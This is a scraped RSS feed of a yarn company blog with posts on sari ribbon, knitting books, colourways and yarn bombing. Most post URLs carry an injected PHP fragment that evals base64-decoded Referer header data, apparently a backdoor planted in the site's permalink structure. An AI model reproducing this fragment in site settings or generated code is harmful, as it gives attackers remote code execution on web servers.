Tilli Tomas Blog » Yarn http://www.tillitomas.com/blog Thu, 02 Feb 2012 19:50:53 +0000 en hourly 1 http://wordpress.org/?v=3.3 A Taste of India http://www.tillitomas.com/blog/2012/02/02/taste-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2012/02/02/taste-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Thu, 02 Feb 2012 19:50:53 +0000 bluealvarez http://www.tillitomas.com/blog/?p=1969 We had a new big hit at the TNNA show in Phoenix – Sari Ribbon:

What’s great about this sari yarn compared to others you’ve surely seen on the market is that it is not reprocessed and spun – which means the colors of each sari stay separate, one into another. This creates a really beautiful variegated, almost Noro-like effect.

The other big hit was our variegated sock yarn, especially in Coconut Grove and Bad Romance:

Coconut Grove and Bad Romance

This all brings to mind Diana Vreeland’s old line: “Pink is the Navy Blue of India.” So, this spring, embrace your inner Bollywood!

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]]> http://www.tillitomas.com/blog/2012/02/02/taste-india/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0 Projects and Events for Turkey Day weekend http://www.tillitomas.com/blog/2011/11/25/projects-events-turkey-day-weekend http://www.tillitomas.com/blog/2011/11/25/projects-events-turkey-day-weekend#comments Fri, 25 Nov 2011 13:30:19 +0000 bluealvarez http://www.tillitomas.com/blog/?p=1853 Looking for something to help shake the food coma? Some humble suggestions:

Helen Bingham Designs - Golden Beauty

Helen Bingham will be hosting a trunk show at Fresh Purls in Providence, RI this Saturday, Nov. 26th. Get yourself down there to see (and touch!) her beautiful designs, including the Golden Beauty pictured – using Tilli Tomas yarn of course! You can check out the Rock Star yarn that she used to make this beautiful tunic and headband set here.

A little about Helen: She is both a talented knitter and a long distance runner! She says that all those miles help clear her head and find tune her designs. Clearly it’s working: she’s designed for Classic Elite, Nashua, Misti International, Sheep Shop, Swarovski, and Skacel! We are honored to have her working in our yarns, and hope you get a chance to go see her fabulous work in person.

Perfect Texting Mitts

 

Blue Alvarez whipped up these fingerless mitts in our Tilli Tomas Artisan Sock yarn. Just hold two strands of the sock yarn together, CO, and before the weekend’s over you’ll have a holiday gift! Pattern comes in two sizes so it’s sure to fit everyone on your list, including you! You can download the pattern on Ravelry free of charge. Yes, we said free.

 

Ready to knit? You can get Tilli Tomas Artisan Sock here to get cranking on those mittens. Have a fabulous weekend and don’t shop too hard!

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]]> http://www.tillitomas.com/blog/2011/11/25/projects-events-turkey-day-weekend/feed 0 Flurries Felted Clutch http://www.tillitomas.com/blog/2011/09/13/flurries-felted-clutch/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/09/13/flurries-felted-clutch/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Tue, 13 Sep 2011 18:41:32 +0000 bluealvarez http://www.tillitomas.com/blog/?p=1620
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    • ]]>     We just received an email from Kaire’je Studio, who designed this precious clutch purse by felting our Flurries beaded merino yarn. Inspired? Check out the full range of colors for Flurries and buy it online at Stitch Boutique.
    Flurries - Bluebell Flurries - Atmoshpere Flurries - Ruby Wine Flurries - Chocolate Cherry Flurries - Parchment Flurries - Sky Drop Flurries - Stony Mist

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    ]]>     http://www.tillitomas.com/blog/2011/09/13/flurries-felted-clutch/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     New Book by Flickle Knitter http://www.tillitomas.com/blog/2011/09/01/book-flickle-knitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/09/01/book-flickle-knitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Thu, 01 Sep 2011 12:19:30 +0000 bluealvarez http://www.tillitomas.com/blog/?p=1613 Fickle Knitter waves shawl New Book by Flickle Knitter

    We are so pleased to see Michelle Miller (AKA Fickle Knitter) release her first book of patterns – and even more delighted that she chose to use our brand new artisan-dyed SOCK yarn.

    The book includes the beautiful shawl shown above – the Wave or Particle Shawl, which uses only 1 skein of Tilli Tomas SOCK!

    Michelle’s book can be purchased as a .pdf download on her website here. And since it’s an automatic download (instant gratification!), if you’re itching to get started on these 8 amazing projects, you can buy the right yarns for the job at the same time right here.

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    ]]>     http://www.tillitomas.com/blog/2011/09/01/book-flickle-knitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     Yarn bombing in Seattle http://www.tillitomas.com/blog/2011/07/20/yarn-bombing-seattle/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/07/20/yarn-bombing-seattle/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Wed, 20 Jul 2011 17:36:39 +0000 Tilli http://www.tillitomas.com/blog/?p=1533
  • Yarn Bombing Just a follow up to yarn bombing here in Boston. ...
    • ]]>     Yarn bombing - Seattle Recently while wondering around Seattle, I discovered a park with yarn bombing galore. The yarn really brightened the park and adding some flare to the site. I discovered that Suzanne Tidwell was selected by the Seattle Department of Parks and Recreation was selected specifically for this project at Pioneer Park.
    dave-cole Yarn bombing - Ohio Rocky near the Philadelphia Art Museum knitters-on-the-loose Bull on Wall Steet Yarn bombing - Seattle

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    ]]>     http://www.tillitomas.com/blog/2011/07/20/yarn-bombing-seattle/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     Yarn Bombing http://www.tillitomas.com/blog/2011/05/20/yarn-bombing/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/05/20/yarn-bombing/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Fri, 20 May 2011 14:11:57 +0000 Tilli http://www.tillitomas.com/blog/?p=1484
  • Yarn bombing in Seattle Recently while wondering around Seattle, I discovered a park with...
    • ]]>     Just a follow up to yarn bombing here in Boston.  It looks like the knitters are hard at work on Wall Street and down in Philadelphia.   

    Rocky near the Philadelphia Art Museum

    Rocky near the Philadelphia Art Museum

     

    Bull on Wall Steet

    Bull on Wall Steet

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    ]]>     http://www.tillitomas.com/blog/2011/05/20/yarn-bombing/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     New Colors http://www.tillitomas.com/blog/2011/04/06/colors/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/04/06/colors/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Wed, 06 Apr 2011 17:23:44 +0000 Tilli http://www.tillitomas.com/blog/?p=1441
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      Disco Lites – Ocean Spray
      Flurries – Stargazer Lily
      Rock Star – Hush
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    ]]>     http://www.tillitomas.com/blog/2011/04/06/colors/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     Nicky Epstein – Knitting Block by Block http://www.tillitomas.com/blog/2011/03/24/nicky-epstein-knitting-block-block/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/03/24/nicky-epstein-knitting-block-block/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Thu, 24 Mar 2011 14:44:24 +0000 Tilli http://www.tillitomas.com/blog/?p=1429
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    • ]]>     fair-leaves-shrug-duo Nicky Epstein has released a new book called Knitting Block by Block.  The book features a  pattern called “Fairy Leaves Shrug Duo”.  The pattern features Tilli Tomas Disco Lights.  The detail of the pattern is incredible including options form various sizes, pattern charts, and photographs of the shrug from various angles. 
    Disco Lights - Stony Mist Disco Lights - Gloxinia Disco Lights - Black Cherry Disco Lights - Jade Disco Lights - American Beauty Disco Lights - Eternal Diva Disco Lights - Burnt Orange

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    ]]>     http://www.tillitomas.com/blog/2011/03/24/nicky-epstein-knitting-block-block/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     David Cole http://www.tillitomas.com/blog/2011/03/02/david-cole/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/03/02/david-cole/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Wed, 02 Mar 2011 17:12:40 +0000 Tilli http://www.tillitomas.com/blog/?p=1395 I had never heard of this Yarn Bombing before I saw this article.   David Cole starting the trend in Melborne Australia when he decorated a bridge with knitting.  I would call those swatches for King Kong. :)   It has the look and feel of Christo from back in the 80′s dave-cole 

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    ]]>     http://www.tillitomas.com/blog/2011/03/02/david-cole/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed 0     knitting Wrapsody by Kristen Omdahl http://www.tillitomas.com/blog/2011/02/04/knitting-wrapsody-kristen-omdahl/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&% http://www.tillitomas.com/blog/2011/02/04/knitting-wrapsody-kristen-omdahl/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%#comments Fri, 04 Feb 2011 19:16:17 +0000 Tilli http://www.tillitomas.com/blog/?p=1310
  • Lace Vest by Kristen Omdahl in Vogue Knitting   The Lace Vest has a loose-fitting open-front vest worked...
    • ]]>     Knitting Wrapsody Kristen Omdahl is releaseing a new book featuring patterns with a theme relating to items that can be wrapped, whether around the neck, shoulders, or waist.All of the garments incorporate interesting elements, from reversible stitch patterns and unique knitted edgings to interesting closures. Each project is knitted, but much of the aesthetic draws inspiration from the geometry, motifs, and techniques of crochet.

    Some of the techniques are quite unusual and readers will benefit from watching the enclosed DVD to see some of them demonstrated before casting on for a project.
      The release date for A Knitting Wrapsody Book & DVD is January 22, 2011. You can pre-order it at amazon.com or Interweavestore.com, but if you want a personalized, signed copy for yourself or the knitter in your life, you can pre-order from me HERE.  (Pretty neat !)
    Flamenco Ruffled Drawstring Skirt    

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